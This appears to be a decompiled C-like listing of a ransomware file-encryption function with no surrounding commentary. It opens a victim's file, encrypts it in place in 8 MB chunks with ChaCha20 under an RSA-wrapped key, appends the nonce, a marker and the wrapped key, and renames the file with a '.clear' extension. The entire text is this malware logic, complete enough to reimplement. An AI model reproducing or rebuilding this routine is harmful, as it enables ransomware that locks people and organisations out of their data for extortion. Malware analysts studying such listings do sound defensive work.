1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136
| __int64 __fastcall encrypt_file(__int64 a1, __int64 a2, __int64 a3) { const CHAR *v3; unsigned int v4; LARGE_INTEGER v5; __int64 v6; DWORD v7; void *v8; __int64 v10; __int64 v11; __int64 v12; __int64 v13; __int64 v14; const void *v15; DWORD v16; const void *v17; __int64 v18; __int64 v19; const CHAR *v20; const CHAR *v21; DWORD NumberOfBytesWritten; char v24[28]; DWORD NumberOfBytesRead; char v26[32]; int Buffer[2]; __int64 v28; DWORD v29; char v30[32]; char v31[32]; char v32[32]; LARGE_INTEGER FileSize; char v34; char v35; unsigned __int64 v36; __int64 v37; char v38; char *v39; char *v40; char *v41; DWORD nNumberOfBytesToRead[2]; unsigned __int64 QuadPart; LARGE_INTEGER v44; HANDLE hFile; __int64 v46; unsigned __int64 v47;
v3 = (const CHAR *)std::string::c_str(a1); hFile = CreateFileA(v3, 0xC0000000, 1u, 0i64, 3u, 0x80u, 0i64); if ( hFile == (HANDLE)-1i64 ) { return 0; } else if ( GetFileSizeEx(hFile, &FileSize) && ((v44 = FileSize, FileSize.QuadPart > 0x500000000ui64) ? (v5.QuadPart = 0x280000000i64) : (LONGLONG)(v5 = v44), (QuadPart = v5.QuadPart) != 0) ) { v41 = &v34; std::vector<unsigned char>::vector(v32, 12i64, &v34); std::__new_allocator<unsigned char>::~__new_allocator(&v34); v6 = std::vector<unsigned char>::data(v32); randombytes_buf(v6, 12i64); encrypt_key_rsa(v31, a2, a3); if ( (unsigned __int8)std::vector<unsigned char>::empty(v31) ) { CloseHandle(hFile); v4 = 0; } else { v40 = &v35; std::vector<unsigned char>::vector(v30, 0x800000i64, &v35); std::__new_allocator<unsigned char>::~__new_allocator(&v35); v47 = 0i64; v46 = 0i64; SetFilePointer(hFile, 0, 0i64, 0); while ( v47 < QuadPart ) { v36 = QuadPart - v47; v37 = 0x800000i64; *(_QWORD *)nNumberOfBytesToRead = *(_QWORD *)std::min<unsigned long long>(&v37, &v36); NumberOfBytesRead = 0; v7 = nNumberOfBytesToRead[0]; v8 = (void *)std::vector<unsigned char>::data(v30); if ( !ReadFile(hFile, v8, v7, &NumberOfBytesRead, 0i64) || !NumberOfBytesRead ) break; v39 = &v38; std::vector<unsigned char>::vector(v24, NumberOfBytesRead, &v38); std::__new_allocator<unsigned char>::~__new_allocator(&v38); v10 = std::array<unsigned char,32ull>::data(a2); v11 = std::vector<unsigned char>::data(v32); v12 = NumberOfBytesRead; v13 = std::vector<unsigned char>::data(v30); v14 = std::vector<unsigned char>::data(v24); crypto_stream_chacha20_xor_ic(v14, v13, v12, v11, v46, v10); SetFilePointer(hFile, -NumberOfBytesRead, 0i64, 1u); LODWORD(v10) = NumberOfBytesRead; v15 = (const void *)std::vector<unsigned char>::data(v24); WriteFile(hFile, v15, v10, &NumberOfBytesWritten, 0i64); v46 += ((unsigned __int64)NumberOfBytesRead + 63) >> 6; v47 += NumberOfBytesRead; std::vector<unsigned char>::~vector(v24); } SetFilePointer(hFile, 0, 0i64, 2u); v16 = std::vector<unsigned char>::size(v32); v17 = (const void *)std::vector<unsigned char>::data(v32); WriteFile(hFile, v17, v16, &v29, 0i64); Buffer[0] = 1262836045; Buffer[1] = std::vector<unsigned char>::size(v31); v18 = std::vector<unsigned char>::end(v31); v19 = std::vector<unsigned char>::begin(v31); std::copy<__gnu_cxx::__normal_iterator<unsigned char *,std::vector<unsigned char>>,unsigned char *>( v19, v18, &v28); WriteFile(hFile, Buffer, 0x108u, &v29, 0i64); CloseHandle(hFile); std::operator+<char>(v26, a1, ".clear"); v20 = (const CHAR *)std::string::c_str(v26); v21 = (const CHAR *)std::string::c_str(a1); MoveFileExA(v21, v20, 1u); v4 = 1; std::string::~string(v26); std::vector<unsigned char>::~vector(v30); } std::vector<unsigned char>::~vector(v31); std::vector<unsigned char>::~vector(v32); } else { CloseHandle(hFile); return 0; } return v4; }
|